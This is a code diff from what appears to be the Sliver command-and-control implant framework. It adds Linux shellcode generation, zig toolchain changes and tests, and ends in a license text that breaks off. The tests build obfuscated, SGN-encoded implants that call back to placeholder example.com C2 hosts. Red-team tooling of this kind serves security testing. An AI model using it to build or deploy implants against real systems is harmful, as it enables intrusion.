||||
}
|
||||
if len(config.Exports) == 0 {
|
||||
return "", fmt.Errorf("darwin shellcode requires at least one export symbol")
|
||||
@@ -162,9 +435,6 @@ func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
}
|
||||
|
||||
buildLog.Infof(" CC: %s", cc)
|
||||
buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "1",
|
||||
CC: cc,
|
||||
@@ -332,6 +602,9 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
sanitizeZigForBuild(goConfig, "c-shared")
|
||||
buildLog.Infof(" CC: %s", goConfig.CC)
|
||||
buildLog.Infof("CXX: %s", goConfig.CXX)
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
@@ -354,6 +627,7 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
tags = append(tags, "netgo")
|
||||
}
|
||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
|
||||
if !config.Debug && goConfig.GOOS == WINDOWS {
|
||||
ldflags[0] += " -H=windowsgui"
|
||||
}
|
||||
@@ -365,6 +639,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if goConfig.GOOS == LINUX {
|
||||
if err := validateELFSharedObject(dest, wantStaticSO); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
return dest, err
|
||||
}
|
||||
@@ -373,18 +652,6 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
// var cc string
|
||||
// var cxx string
|
||||
// cgo := "0"
|
||||
// if runtime.GOOS != config.GOOS {
|
||||
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
// cgo = "1"
|
||||
// }
|
||||
|
||||
// buildLog.Infof(" CC: %s", cc)
|
||||
// buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "0",
|
||||
GOOS: config.GOOS,
|
||||
@@ -908,6 +1175,11 @@ func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string)
|
||||
}
|
||||
}
|
||||
|
||||
// Ensure all zig invocations have prefix maps applied (prevents absolute
|
||||
// paths under the Sliver zig dir from leaking into artifacts).
|
||||
cc = ensureZigPrefixMap(cc)
|
||||
cxx = ensureZigPrefixMap(cxx)
|
||||
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
@@ -970,7 +1242,10 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
||||
})
|
||||
}
|
||||
|
||||
// SHELLCODE - Windows (Donut) and macOS (beignet, darwin/arm64 only)
|
||||
// SHELLCODE
|
||||
// - Windows: Donut
|
||||
// - macOS: beignet (darwin/arm64 only)
|
||||
// - Linux: malasada (linux/{amd64,arm64} only)
|
||||
for longPlatform := range SupportedCompilerTargets {
|
||||
platform := strings.SplitN(longPlatform, "/", 2)
|
||||
switch platform[0] {
|
||||
@@ -1006,6 +1281,32 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
||||
})
|
||||
}
|
||||
}
|
||||
case LINUX:
|
||||
if platform[1] != "amd64" && platform[1] != "arm64" {
|
||||
continue
|
||||
}
|
||||
|
||||
// We can always try to build our own platform.
|
||||
if runtime.GOOS == platform[0] {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Cross-compile with the right configuration (same requirements as a linux shared library build).
|
||||
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
|
||||
cc, _ := findCrossCompilers(platform[0], platform[1])
|
||||
if cc != "" {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -28,7 +28,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -136,10 +135,6 @@ func TestSliverSharedLibWindows(t *testing.T) {
|
||||
// 386
|
||||
multiLibrary(t, "windows", "386", true)
|
||||
multiLibrary(t, "windows", "386", false)
|
||||
|
||||
// Shared Library Shellcode
|
||||
multiWindowsLibraryShellcode(t, true)
|
||||
multiWindowsLibraryShellcode(t, false)
|
||||
}
|
||||
|
||||
func TestSliverExecutableLinux(t *testing.T) {
|
||||
@@ -542,54 +537,6 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
cleanupGeneratedArtifacts(t, binPath)
|
||||
}
|
||||
|
||||
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
|
||||
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
// encode bin with sgn
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
|
||||
}
|
||||
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
|
||||
Iterations: 1,
|
||||
PlainDecoder: false,
|
||||
Safe: true,
|
||||
MaxObfuscation: 100,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("sgn encode failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
||||
t.Logf("[symbol obfuscation] %s/%s ...", goos, goarch)
|
||||
name := fmt.Sprintf("symbol_test%d", nonce)
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/server/gogo"
|
||||
)
|
||||
|
||||
func TestIsZigCC(t *testing.T) {
|
||||
tests := []struct {
|
||||
cc string
|
||||
want bool
|
||||
}{
|
||||
{cc: "", want: false},
|
||||
{cc: "gcc", want: false},
|
||||
{cc: "zig cc -target x86_64-linux-musl", want: true},
|
||||
{cc: "/tmp/zig cc -target x86_64-linux-musl", want: true},
|
||||
{cc: "/tmp/zig c++ -target x86_64-linux-musl", want: false},
|
||||
{cc: "something zig cc something", want: true},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
if got := isZigCC(tt.cc); got != tt.want {
|
||||
t.Fatalf("isZigCC(%q) = %v, want %v", tt.cc, got, tt.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
|
||||
if enabled {
|
||||
t.Fatalf("did not expect -static flags for c-shared (zig emits an ar archive instead of a .so)")
|
||||
}
|
||||
if len(ldflags) != 1 {
|
||||
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
|
||||
}
|
||||
if ldflags[0] != "" {
|
||||
t.Fatalf("expected ldflags unchanged, got %q", ldflags[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking_Executable(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "", []string{""})
|
||||
if !enabled {
|
||||
t.Fatalf("expected static linking to be enabled for linux zig cc executable build")
|
||||
}
|
||||
if len(ldflags) != 1 {
|
||||
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
|
||||
}
|
||||
if !strings.Contains(ldflags[0], "-linkmode=external") {
|
||||
t.Fatalf("expected -linkmode=external in ldflags, got %q", ldflags[0])
|
||||
}
|
||||
if !strings.Contains(ldflags[0], "-extldflags=-static") {
|
||||
t.Fatalf("expected -extldflags=-static in ldflags, got %q", ldflags[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking_NotLinux(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "windows",
|
||||
CGO: "1",
|
||||
CC: "zig cc -target x86_64-windows-gnu",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
|
||||
if enabled {
|
||||
t.Fatalf("did not expect static linking to be enabled on %s", cfg.GOOS)
|
||||
}
|
||||
if len(ldflags) != 1 || ldflags[0] != "" {
|
||||
t.Fatalf("expected ldflags unchanged, got %v", ldflags)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeZigForBuild_LinuxSharedObject(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl -static",
|
||||
CXX: "/tmp/zig c++ -target x86_64-linux-musl -static",
|
||||
}
|
||||
sanitizeZigForBuild(cfg, "c-shared")
|
||||
|
||||
if strings.Contains(cfg.CC, "-static") || strings.Contains(cfg.CXX, "-static") {
|
||||
t.Fatalf("expected -static to be stripped for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
if strings.Contains(cfg.CC, "-linux-musl") || strings.Contains(cfg.CXX, "-linux-musl") {
|
||||
t.Fatalf("expected linux-musl -> linux-gnu for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
if !strings.Contains(cfg.CC, "-linux-gnu") || !strings.Contains(cfg.CXX, "-linux-gnu") {
|
||||
t.Fatalf("expected linux-gnu target for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
|
||||
// We should also add a debug prefix map for the Sliver-managed zig root to
|
||||
// avoid leaking absolute paths in DWARF.
|
||||
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
|
||||
t.Fatalf("expected -fdebug-prefix-map to be set, got CC=%q", cfg.CC)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeZigForBuild_Windows(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "windows",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-windows-gnu",
|
||||
CXX: "/tmp/zig c++ -target x86_64-windows-gnu",
|
||||
}
|
||||
sanitizeZigForBuild(cfg, "c-shared")
|
||||
|
||||
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
|
||||
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CC=%q", cfg.CC)
|
||||
}
|
||||
if !strings.Contains(cfg.CXX, "-fdebug-prefix-map=") {
|
||||
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CXX=%q", cfg.CXX)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
func TestSliverShellcodeWindows(t *testing.T) {
|
||||
// Shared Library Shellcode
|
||||
multiWindowsLibraryShellcode(t, true)
|
||||
multiWindowsLibraryShellcode(t, false)
|
||||
}
|
||||
|
||||
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
|
||||
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
// encode bin with sgn
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
|
||||
}
|
||||
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
|
||||
Iterations: 1,
|
||||
PlainDecoder: false,
|
||||
Safe: true,
|
||||
MaxObfuscation: 100,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("sgn encode failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSliverShellcodeLinux(t *testing.T) {
|
||||
multiLinuxShellcode(t, "amd64", true)
|
||||
multiLinuxShellcode(t, "amd64", false)
|
||||
|
||||
multiLinuxShellcode(t, "arm64", true)
|
||||
multiLinuxShellcode(t, "arm64", false)
|
||||
}
|
||||
|
||||
func multiLinuxShellcode(t *testing.T, goarch string, debug bool) {
|
||||
t.Helper()
|
||||
|
||||
t.Logf("[multi] SHELLCODE linux/%s - debug: %v", goarch, debug)
|
||||
name := fmt.Sprintf("multi_linux_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "linux",
|
||||
GOARCH: goarch,
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated linux shellcode failed: %v", err)
|
||||
}
|
||||
if len(bin) == 0 {
|
||||
t.Fatalf("generated linux shellcode is empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSliverShellcodeDarwin(t *testing.T) {
|
||||
// darwin shellcode generation requires a native toolchain (no default zig/osxcross support).
|
||||
if runtime.GOOS != "darwin" {
|
||||
t.Skipf("Skipping darwin shellcode generation on %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
multiDarwinShellcode(t, true)
|
||||
multiDarwinShellcode(t, false)
|
||||
}
|
||||
|
||||
func multiDarwinShellcode(t *testing.T, debug bool) {
|
||||
t.Helper()
|
||||
|
||||
t.Logf("[multi] SHELLCODE darwin/arm64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multi_darwin_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "darwin",
|
||||
GOARCH: "arm64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated darwin shellcode failed: %v", err)
|
||||
}
|
||||
if len(bin) == 0 {
|
||||
t.Fatalf("generated darwin shellcode is empty")
|
||||
}
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
# OS / editor
|
||||
.DS_Store
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
.idea/
|
||||
.vscode/
|
||||
.cache/
|
||||
|
||||
# Go
|
||||
*.exe
|
||||
*.test
|
||||
*.out
|
||||
*.prof
|
||||
coverage.out
|
||||
cover.out
|
||||
go.work
|
||||
go.work.sum
|
||||
|
||||
# Common local build outputs
|
||||
malasada
|
||||
malasada.exe
|
||||
|
||||
# Zig
|
||||
zig-cache/
|
||||
zig-out/
|
||||
|
||||
# Test harness artifacts
|
||||
testdata/**/*.so
|
||||
testdata/**/*.bin
|
||||
testdata/runner/runner
|
||||
testdata/runner/runner.exe
|
||||
+674
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
